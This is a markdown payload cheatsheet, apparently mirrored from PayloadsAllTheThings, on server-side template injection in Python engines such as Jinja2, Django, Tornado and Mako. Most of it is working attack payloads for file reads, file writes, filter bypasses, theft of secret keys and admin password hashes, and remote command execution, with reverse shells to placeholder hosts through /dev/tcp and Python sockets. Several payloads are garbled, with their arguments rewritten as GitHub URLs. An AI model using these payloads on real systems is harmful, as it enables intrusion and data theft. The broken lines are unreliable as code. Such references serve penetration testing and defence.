daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

python.md (20350B)


      1 ---
      2 title: "Server Side Template Injection - Python"
      3 topic: "Server Side Template Injection"
      4 topicSlug: "server-side-template-injection"
      5 sourcePath: "Server Side Template Injection/Python.md"
      6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/Server%20Side%20Template%20Injection/Python.md"
      7 sha: "3ac27901c711"
      8 isReadme: false
      9 ---
     10 
     11 # Server Side Template Injection - Python
     12 
     13 > Server-Side Template Injection (SSTI)  is a vulnerability that arises when an attacker can inject malicious input into a server-side template, causing arbitrary code execution on the server. In Python, SSTI can occur when using templating engines such as Jinja2, Mako, or Django templates, where user input is included in templates without proper sanitization.
     14 
     15 ## Summary
     16 
     17 - [Templating Libraries](#templating-libraries)
     18 - [Universal Payloads](#universal-payloads)
     19 - [Django](#django)
     20     - [Django - Basic Injection](#django---basic-injection)
     21     - [Django - Cross-Site Scripting](#django---cross-site-scripting)
     22     - [Django - Debug Information Leak](#django---debug-information-leak)
     23     - [Django - Leaking App's Secret Key](#django---leaking-apps-secret-key)
     24     - [Django - Admin Site URL leak](#django---admin-site-url-leak)
     25     - [Django - Admin Username and Password Hash Leak](#django---admin-username-and-password-hash-leak)
     26 - [Jinja2](#jinja2)
     27     - [Jinja2 - Basic Injection](#jinja2---basic-injection)
     28     - [Jinja2 - Template Format](#jinja2---template-format)
     29     - [Jinja2 - Debug Statement](#jinja2---debug-statement)
     30     - [Jinja2 - Dump All Used Classes](#jinja2---dump-all-used-classes)
     31     - [Jinja2 - Dump All Config Variables](#jinja2---dump-all-config-variables)
     32     - [Jinja2 - Read Remote File](#jinja2---read-remote-file)
     33     - [Jinja2 - Write Into Remote File](#jinja2---write-into-remote-file)
     34     - [Jinja2 - Remote Command Execution](#jinja2---remote-command-execution)
     35         - [Forcing Output On Blind RCE](#jinja2---forcing-output-on-blind-rce)
     36         - [Exploit The SSTI By Calling os.popen().read()](#exploit-the-ssti-by-calling-ospopenread)
     37         - [Exploit The SSTI By Calling subprocess.Popen](#exploit-the-ssti-by-calling-subprocesspopen)
     38         - [Exploit The SSTI By Calling Popen Without Guessing The Offset](#exploit-the-ssti-by-calling-popen-without-guessing-the-offset)
     39         - [Exploit The SSTI By Writing an Evil Config File](#exploit-the-ssti-by-writing-an-evil-config-file)
     40     - [Jinja2 - Remote Command Execution with Obfuscation](#jinja2---remote-command-execution-with-obfuscation)
     41     - [Jinja2 - Filter Bypass](#jinja2---filter-bypass)
     42 - [Tornado](#tornado)
     43     - [Tornado - Basic Injection](#tornado---basic-injection)
     44     - [Tornado - Remote Command Execution](#tornado---remote-command-execution)
     45 - [Mako](#mako)
     46     - [Mako - Remote Command Execution](#mako---remote-command-execution)
     47     - [Mako - Remote Command Execution with Obfuscation](#mako---remote-command-execution-with-obfuscation)
     48 - [References](#references)
     49 
     50 ## Templating Libraries
     51 
     52 | Template Name | Payload Format |
     53 |---------------|----------------|
     54 | Bottle        | `{{ }}`        |
     55 | Chameleon     | `${ }`         |
     56 | Cheetah       | `${ }`         |
     57 | Django        | `{{ }}`        |
     58 | Jinja2        | `{{ }}`        |
     59 | Mako          | `${ }`         |
     60 | Pystache      | `{{ }}`        |
     61 | Tornado       | `{{ }}`        |
     62 
     63 ## Universal Payloads
     64 
     65 Generic code injection payloads work for many Python-based template engines, such as Bottle, Chameleon, Cheetah, Mako and Tornado.
     66 
     67 To use these payloads, wrap them in the appropriate tag.
     68 
     69 ```python
     70 __include__("os").popen("id").read() # Rendered RCE
     71 getattr("", "x" + __include__("os").popen("id").read()) # Error-Based RCE
     72 1 / (__include__("os").popen("id")._proc.wait() == 0) # Boolean-Based RCE
     73 __include__("os").popen("id && sleep 5").read() # Time-Based RCE
     74 ```
     75 
     76 ## Django
     77 
     78 Django template language supports 2 rendering engines by default: Django Templates (DT) and Jinja2. Django Templates is much simpler engine. It does not allow calling of passed object functions and impact of SSTI in DT is often less severe than in Jinja2.
     79 
     80 ### Django - Basic Injection
     81 
     82 ```python
     83 {% csrf_token %} # Causes error with Jinja2
     84 {{ 7*7 }}  # Error with Django Templates
     85 ih0vr{{364|add:733}}d121r # Burp Payload -> ih0vr1097d121r
     86 ```
     87 
     88 ### Django - Cross-Site Scripting
     89 
     90 ```python
     91 {{ '<script>alert(3)</script>' }}
     92 {{ '<script>alert(3)</script>' | safe }}
     93 ```
     94 
     95 ### Django - Debug Information Leak
     96 
     97 ```python
     98 {% debug %}
     99 ```
    100 
    101 ### Django - Leaking App's Secret Key
    102 
    103 ```python
    104 {{ messages.storages.0.signer.key }}
    105 ```
    106 
    107 ### Django - Admin Site URL leak
    108 
    109 ```python
    110 {% include 'admin/base.html' %}
    111 ```
    112 
    113 ### Django - Admin Username And Password Hash Leak
    114 
    115 ```ps1
    116 {% load log %}{% get_admin_log 10 as log %}{% for e in log %}
    117 {{e.user.get_username}} : {{e.user.password}}{% endfor %}
    118 
    119 {% get_admin_log 10 as admin_log for_user user %}
    120 ```
    121 
    122 ---
    123 
    124 ## Jinja2
    125 
    126 [Official website](https://jinja.palletsprojects.com/)
    127 > Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.  
    128 
    129 ### Jinja2 - Basic Injection
    130 
    131 ```python
    132 {{4*4}}[[5*5]]
    133 {{7*'7'}} would result in 7777777
    134 {{config.items()}}
    135 ```
    136 
    137 Jinja2 is used by Python Web Frameworks such as Django or Flask.
    138 The above injections have been tested on a Flask application.
    139 
    140 ### Jinja2 - Template Format
    141 
    142 ```python
    143 {% extends "layout.html" %}
    144 {% block body %}
    145   <ul>
    146   {% for user in users %}
    147     <li><a href="{{ user.url }}">{{ user.username }}</a></li>
    148   {% endfor %}
    149   </ul>
    150 {% endblock %}
    151 
    152 ```
    153 
    154 ### Jinja2 - Debug Statement
    155 
    156 If the Debug Extension is enabled, a `{% debug %}` tag will be available to dump the current context as well as the available filters and tests. This is useful to see what’s available to use in the template without setting up a debugger.
    157 
    158 ```python
    159 <pre>{% debug %}</pre>
    160 ```
    161 
    162 Source: [jinja.palletsprojects.com](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
    163 
    164 ### Jinja2 - Dump All Used Classes
    165 
    166 ```python
    167 {{ [].class.base.subclasses() }}
    168 {{''.class.mro()[1].subclasses()}}
    169 {{ ''.__class__.__mro__[2].__subclasses__() }}
    170 ```
    171 
    172 Access `__globals__` and `__builtins__`:
    173 
    174 ```python
    175 {{ self.__init__.__globals__.__builtins__ }}
    176 ```
    177 
    178 ### Jinja2 - Dump All Config Variables
    179 
    180 ```python
    181 {% for key, value in config.iteritems() %}
    182     <dt>{{ key|e }}</dt>
    183     <dd>{{ value|e }}</dd>
    184 {% endfor %}
    185 ```
    186 
    187 ### Jinja2 - Read Remote File
    188 
    189 ```python
    190 # ''.__class__.__mro__[2].__subclasses__()[40] = File class
    191 {{ ''.__class__.__mro__[2].__subclasses__()[40](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Server%20Side%20Template%20Injection/%27/etc/passwd%27).read() }}
    192 {{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Server%20Side%20Template%20Injection/%22/tmp/flag%22).read() }}
    193 # https://github.com/pallets/flask/blob/master/src/flask/helpers.py#L398
    194 {{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read() }}
    195 ```
    196 
    197 ### Jinja2 - Write Into Remote File
    198 
    199 ```python
    200 {{ ''.__class__.__mro__[2].__subclasses__()[40](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Server%20Side%20Template%20Injection/%27/var/www/html/myflaskapp/hello.txt%27%2C%20%27w%27).write('Hello here !') }}
    201 ```
    202 
    203 ### Jinja2 - Remote Command Execution
    204 
    205 Listen for connection
    206 
    207 ```bash
    208 nc -lnvp 8000
    209 ```
    210 
    211 #### Jinja2 - Forcing Output On Blind RCE
    212 
    213 You can import Flask functions to return an output from the vulnerable page.
    214 
    215 ```py
    216 {{
    217 x.__init__.__builtins__.exec("from flask import current_app, after_this_request
    218 @after_this_request
    219 def hook(*args, **kwargs):
    220     from flask import make_response
    221     r = make_response('Powned')
    222     return r
    223 ")
    224 }}
    225 ```
    226 
    227 #### Exploit The SSTI By Calling os.popen().read()
    228 
    229 ```python
    230 {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
    231 ```
    232 
    233 But when `__builtins__` is filtered, the following payloads are context-free, and do not require anything, except being in a jinja2 Template object:
    234 
    235 ```python
    236 {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
    237 {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
    238 {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
    239 ```
    240 
    241 We can use these shorter payloads from [@podalirius_](https://twitter.com/podalirius_): [python-vulnerabilities-code-execution-in-jinja-templates](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/):
    242 
    243 ```python
    244 {{ cycler.__init__.__globals__.os.popen('id').read() }}
    245 {{ joiner.__init__.__globals__.os.popen('id').read() }}
    246 {{ namespace.__init__.__globals__.os.popen('id').read() }}
    247 ```
    248 
    249 Similar payloads could be used for Error-Based and Boolean-Based exploitation:
    250 
    251 ```python
    252 {{ cycler.__init__.__globals__.__builtins__.getattr("", "x" + cycler.__init__.__globals__.os.popen('id').read()) }} # Error-Based
    253 {{ 1 / (cycler.__init__.__globals__.os.popen("id")._proc.wait() == 0) }} # Boolean-Based
    254 ```
    255 
    256 With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template:
    257 
    258 ```python
    259 {{ lipsum.__globals__["os"].popen('id').read() }}
    260 ```
    261 
    262 #### Exploit The SSTI By Calling subprocess.Popen
    263 
    264 :warning: the number 396 will vary depending of the application.
    265 
    266 ```python
    267 {{''.__class__.mro()[1].__subclasses__()[396](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Server%20Side%20Template%20Injection/%27cat%20flag.txt%27%2Cshell%3DTrue%2Cstdout%3D-1).communicate()[0].strip()}}
    268 {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
    269 ```
    270 
    271 #### Exploit The SSTI By Calling Popen Without Guessing The Offset
    272 
    273 ```python
    274 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__'](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Server%20Side%20Template%20Injection/%27os%27).popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
    275 ```
    276 
    277 Simple modification of the payload to clean up output and facilitate command input from [@SecGus](https://twitter.com/SecGus/status/1198976764351066113). In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls)
    278 
    279 ```python
    280 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__'](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Server%20Side%20Template%20Injection/%27os%27).popen(request.args.input).read()}}{%endif%}{%endfor%}
    281 ```
    282 
    283 #### Exploit The SSTI By Writing An Evil Config File
    284 
    285 ```python
    286 # evil config
    287 {{ ''.__class__.__mro__[2].__subclasses__()[40](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Server%20Side%20Template%20Injection/%27/tmp/evilconfig.cfg%27%2C%20%27w%27).write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
    288 
    289 # load the evil config
    290 {{ config.from_pyfile('/tmp/evilconfig.cfg') }}  
    291 
    292 # connect to evil host
    293 {{ config['RUNCMD'](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/3ac27901c711/Server%20Side%20Template%20Injection/%27/bin/bash%20-c%20%22/bin/bash%20-i%20%3E%26%20/dev/tcp/x.x.x.x/8000%200%3E%261%22%27%2Cshell%3DTrue) }}
    294 ```
    295 
    296 ### Jinja2 - Remote Command Execution with Obfuscation
    297 
    298 Write the string: `id` using the index position of a known existing string (the index value may vary depending on the target): `{{self.__init__.__globals__.__str__()[1786:1788]}}`.
    299 
    300 Execute the system command `id`:
    301 
    302 ```python
    303 {{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).read()}}
    304 ```
    305 
    306 Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).
    307 
    308 ### Jinja2 - Filter Bypass
    309 
    310 ```python
    311 request.__class__
    312 request["__class__"]
    313 ```
    314 
    315 Bypassing `_`
    316 
    317 ```python
    318 http://localhost:5000/?exploit={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_
    319 
    320 {{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}
    321 {{request|attr(["_"*2,"class","_"*2]|join)}}
    322 {{request|attr(["__","class","__"]|join)}}
    323 {{request|attr("__class__")}}
    324 {{request.__class__}}
    325 ```
    326 
    327 Bypassing `[` and `]`
    328 
    329 ```python
    330 http://localhost:5000/?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
    331 or
    332 http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
    333 ```
    334 
    335 Bypassing `|join`
    336 
    337 ```python
    338 http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
    339 ```
    340 
    341 Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by [@SecGus](https://twitter.com/SecGus):
    342 
    343 ```python
    344 {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
    345 ```
    346 
    347 ---
    348 
    349 ## Tornado
    350 
    351 > Universal payloads also work for Tornado.
    352 
    353 ### Tornado - Basic Injection
    354 
    355 ```py
    356 {{7*7}}
    357 {{7*'7'}}
    358 ```
    359 
    360 ### Tornado - Remote Command Execution
    361 
    362 ```py
    363 {{os.system('whoami')}}
    364 {%import os%}{{os.system('nslookup oastify.com')}}
    365 ```
    366 
    367 ---
    368 
    369 ## Mako
    370 
    371 > Universal payloads also work for Mako.
    372 
    373 [Official website](https://www.makotemplates.org/)
    374 > Mako is a template library written in Python. Conceptually, Mako is an embedded Python (i.e. Python Server Page) language, which refines the familiar ideas of componentized layout and inheritance to produce one of the most straightforward and flexible models available, while also maintaining close ties to Python calling and scoping semantics.
    375 
    376 ```python
    377 <%
    378 import os
    379 x=os.popen('id').read()
    380 %>
    381 ${x}
    382 ```
    383 
    384 ### Mako - Remote Command Execution
    385 
    386 Any of these payloads allows direct access to the `os` module
    387 
    388 ```python
    389 ${self.module.cache.util.os.system("id")}
    390 ${self.module.runtime.util.os.system("id")}
    391 ${self.template.module.cache.util.os.system("id")}
    392 ${self.module.cache.compat.inspect.os.system("id")}
    393 ${self.__init__.__globals__['util'].os.system('id')}
    394 ${self.template.module.runtime.util.os.system("id")}
    395 ${self.module.filters.compat.inspect.os.system("id")}
    396 ${self.module.runtime.compat.inspect.os.system("id")}
    397 ${self.module.runtime.exceptions.util.os.system("id")}
    398 ${self.template.__init__.__globals__['os'].system('id')}
    399 ${self.module.cache.util.compat.inspect.os.system("id")}
    400 ${self.module.runtime.util.compat.inspect.os.system("id")}
    401 ${self.template._mmarker.module.cache.util.os.system("id")}
    402 ${self.template.module.cache.compat.inspect.os.system("id")}
    403 ${self.module.cache.compat.inspect.linecache.os.system("id")}
    404 ${self.template._mmarker.module.runtime.util.os.system("id")}
    405 ${self.attr._NSAttr__parent.module.cache.util.os.system("id")}
    406 ${self.template.module.filters.compat.inspect.os.system("id")}
    407 ${self.template.module.runtime.compat.inspect.os.system("id")}
    408 ${self.module.filters.compat.inspect.linecache.os.system("id")}
    409 ${self.module.runtime.compat.inspect.linecache.os.system("id")}
    410 ${self.template.module.runtime.exceptions.util.os.system("id")}
    411 ${self.attr._NSAttr__parent.module.runtime.util.os.system("id")}
    412 ${self.context._with_template.module.cache.util.os.system("id")}
    413 ${self.module.runtime.exceptions.compat.inspect.os.system("id")}
    414 ${self.template.module.cache.util.compat.inspect.os.system("id")}
    415 ${self.context._with_template.module.runtime.util.os.system("id")}
    416 ${self.module.cache.util.compat.inspect.linecache.os.system("id")}
    417 ${self.template.module.runtime.util.compat.inspect.os.system("id")}
    418 ${self.module.runtime.util.compat.inspect.linecache.os.system("id")}
    419 ${self.module.runtime.exceptions.traceback.linecache.os.system("id")}
    420 ${self.module.runtime.exceptions.util.compat.inspect.os.system("id")}
    421 ${self.template._mmarker.module.cache.compat.inspect.os.system("id")}
    422 ${self.template.module.cache.compat.inspect.linecache.os.system("id")}
    423 ${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")}
    424 ${self.template._mmarker.module.filters.compat.inspect.os.system("id")}
    425 ${self.template._mmarker.module.runtime.compat.inspect.os.system("id")}
    426 ${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")}
    427 ${self.template._mmarker.module.runtime.exceptions.util.os.system("id")}
    428 ${self.template.module.filters.compat.inspect.linecache.os.system("id")}
    429 ${self.template.module.runtime.compat.inspect.linecache.os.system("id")}
    430 ${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")}
    431 ${self.context._with_template._mmarker.module.cache.util.os.system("id")}
    432 ${self.template.module.runtime.exceptions.compat.inspect.os.system("id")}
    433 ${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")}
    434 ${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")}
    435 ${self.context._with_template.module.cache.compat.inspect.os.system("id")}
    436 ${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")}
    437 ${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")}
    438 ${self.context._with_template._mmarker.module.runtime.util.os.system("id")}
    439 ${self.context._with_template.module.filters.compat.inspect.os.system("id")}
    440 ${self.context._with_template.module.runtime.compat.inspect.os.system("id")}
    441 ${self.context._with_template.module.runtime.exceptions.util.os.system("id")}
    442 ${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")}
    443 ```
    444 
    445 PoC :
    446 
    447 ```python
    448 >>> print(Template("${self.module.cache.util.os}").render())
    449 <module 'os' from '/usr/local/lib/python3.10/os.py'>
    450 ```
    451 
    452 ### Mako - Remote Command Execution with Obfuscation
    453 
    454 In Mako, the following payload can be used to generates the string "id": `${str().join(chr(i)for(i)in[105,100])}`.
    455 
    456 Execute the system command `id`:
    457 
    458 ```python
    459 ${self.module.cache.util.os.popen(str().join(chr(i)for(i)in[105,100])).read()}
    460 ```
    461 
    462 ```python
    463 <%import os%>${os.popen(str().join(chr(i)for(i)in[105,100])).read()}
    464 ```
    465 
    466 Reference and explanation of payload can be found [yeswehack/server-side-template-injection-exploitation](https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation).
    467 
    468 ## References
    469 
    470 - [Cheatsheet - Flask & Jinja2 SSTI - phosphore - September 3, 2018](https://web.archive.org/web/20191029021639/http://pequalsnp-team.github.io:80/cheatsheet/flask-jinja2-ssti)
    471 - [Exploring SSTI in Flask/Jinja2, Part II - Tim Tomes - March 11, 2016](https://web.archive.org/web/20170710015954/https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
    472 - [Jinja2 template injection filter bypasses - Sebastian Neef - August 28, 2017](https://web.archive.org/web/20180901222505/https://0day.work/jinja2-template-injection-filter-bypasses/)
    473 - [Limitations are just an illusion – advanced server-side template exploitation with RCE everywhere - Brumens - March 24, 2025](https://web.archive.org/web/20240906203847/https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation)
    474 - [Python context free payloads in Mako templates - podalirius - August 26, 2021](https://web.archive.org/web/20210826203322/https://podalirius.net/en/articles/python-context-free-payloads-in-mako-templates/)
    475 - [The minefield between syntaxes: exploiting syntax confusions in the wild - Brumens - October 17, 2025](https://web.archive.org/web/20251006113218/https://www.yeswehack.com/learn-bug-bounty/syntax-confusion-ambiguous-parsing-exploits)
    476 - [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 3, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)